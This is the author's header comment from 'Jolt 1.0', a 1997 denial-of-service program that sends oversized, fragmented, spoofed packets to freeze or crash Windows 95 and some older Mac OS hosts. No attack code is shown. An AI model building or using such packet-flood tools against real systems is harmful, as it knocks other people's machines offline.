/* Jolt 1.0 (c) 1997 by Jeff w. Roberson
* Please, if you use my code give me credit. Also, if i was the first to
* find this glitch, please give me credit. Thats all i ask.
*
* Ok so all this does is build a really fraggmented over sized packet
* and once win95 gets it, and puts it back together it locks. I send
* multiple packets by default cause some times it takes a few packets to
* totally freeze the host. Maybe its spending processor time to figure
* out how to put them back together? I've had reports of people blue
* screening from it tho so we'll let Microsoft's boys figure out exactly
* what this does to 95. As of now i haven't tested it on NT, but maybe
* i will later ;). All of this source wasn't origonally written by me
* I just took one of the old programs to kill POSIX and SYSV based
* systems and worked on it abit, then made it spoof =).
* VallaH (yaway@hotmail.com)
*
* Update: It apears to work on some older versions of mac os
